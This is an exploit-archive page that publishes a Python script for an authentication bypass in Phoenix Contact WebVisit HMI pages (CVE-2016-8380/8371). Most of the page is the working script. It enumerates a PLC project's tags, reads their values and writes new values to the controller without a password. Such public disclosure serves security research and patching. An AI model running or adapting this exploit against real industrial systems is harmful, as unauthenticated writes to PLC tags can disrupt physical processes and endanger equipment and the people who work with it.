Twenty Year Anniversary

Phoenix Contact WebVisit 2985725 Authentication Bypass

Phoenix Contact WebVisit 2985725 Authentication Bypass
Posted Oct 12, 2018
Authored by Deneut Tijl

Phoenix Contact WebVisit 2985725 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2016-8371, CVE-2016-8380
MD5 | 29ac1dc87682f94111e12fa3c111bf58

Phoenix Contact WebVisit 2985725 Authentication Bypass

Change Mirror Download
# Exploit Title: Phoenix Contact WebVisit 2985725 - Authentication Bypass
# Date: 2018-09-30
# Exploit Author: Deneut Tijl
# Vendor Homepage: www.phoenixcontact.com
# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
# Version: WebVisit (all versions)
# CVE : CVE-2016-8380, CVE-2016-8371

# Description
# Script to read and write PLC tags via a Webvisit HMI page (even in case of a password protection)
# Steps:
# * Get Project Name: http://<ip>/
# * Get list of tags: http://<ip>/<projectname>.tcr
# * Get current values of tags: http://<ip>/cgi-bin/ILRReadValues.exe
# * Set new tag values: http://<ip>/cgi-bin/writeVal.exe?<tag>+<value> (urlencode!)

# CVE-2016-8380-SetPLCValues.py

#! /usr/bin/env python

import urllib2

strIP = raw_input('Please enter an IP [192.168.1.200]: ')
if strIP == '': strIP = '192.168.1.200'

try:
URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
except urllib2.HTTPError:
print('#### Critical Error with IP ' + strIP + ': no response')
raw_input('Press Enter to exit')
exit()

strProject = ''
for line in URLResponse.readlines():
if 'ProjectName' in line:
strProject = line.split('VALUE="')[1].split('"')[0]

if strProject == '':
print('#### Error, no \'ProjectName\' found on the main page')
raw_input('Press Enter to exit')
exit()

print('---- Found project \'' + strProject + '\', retrieving list of tags')

try:
TagResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strProject + '.tcr'))
except urllib2.HTTPError:
print('#### Critical Error with IP ' + strIP + ': /' + strProject + '.tcr not found')
raw_input('Press Enter to exit')
exit()

arrTagList = []
for line in TagResponse.readlines():
if line.startswith('#!-- N ='):
intNumberOfTags = int(line.split('=')[1])
print('---- There should be ' + str(intNumberOfTags) + ' tags:')
if not line.startswith('#'):
if not line.split(';')[0].strip() == '':
arrTagList.append(line.split(';')[0].strip())
print('-- '+line.split(';')[0].strip())


raw_input('Press Enter to query them all')
import os, urllib
os.system('cls' if os.name == 'nt' else 'clear')
strPost = '<body>'
strPost += '<item_list_size>' + str(len(arrTagList)) + '</item_list_size>'
strPost += '<item_list>'
for item in arrTagList:
strPost += '<i><n>' + item + '</n></i>'
strPost += '</item_list></body>'
DataResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/ILRReadValues.exe', strPost)).read()

arrData = []
for item in DataResponse.split('<i>'):
if '<n>' in item:
name = item.split('<n>')[1].split('</n>')[0]
value = item.split('<v>')[1].split('</v>')[0]
arrData.append((name,value))
print('----- Full list of tags and their values:')
i = 0
for item in arrData:
i += 1
print(str(i) + ': Tag ' + item[0] + ' has value: ' + item[1])

ans1 = raw_input('Want to change a tag? Enter a number or press Enter to quit: ')
if ans1 == '':
exit()
strTag = arrData[int(ans1) - 1][0]
strVal = arrData[int(ans1) - 1][1]
ans2 = raw_input('Setting value for ' + strTag + ' [' + strVal + ']: ')
if ans2 == '': ans2 = strVal
urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/writeVal.exe?' + urllib.quote_plus(strTag) + '+' + str(ans2)))

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close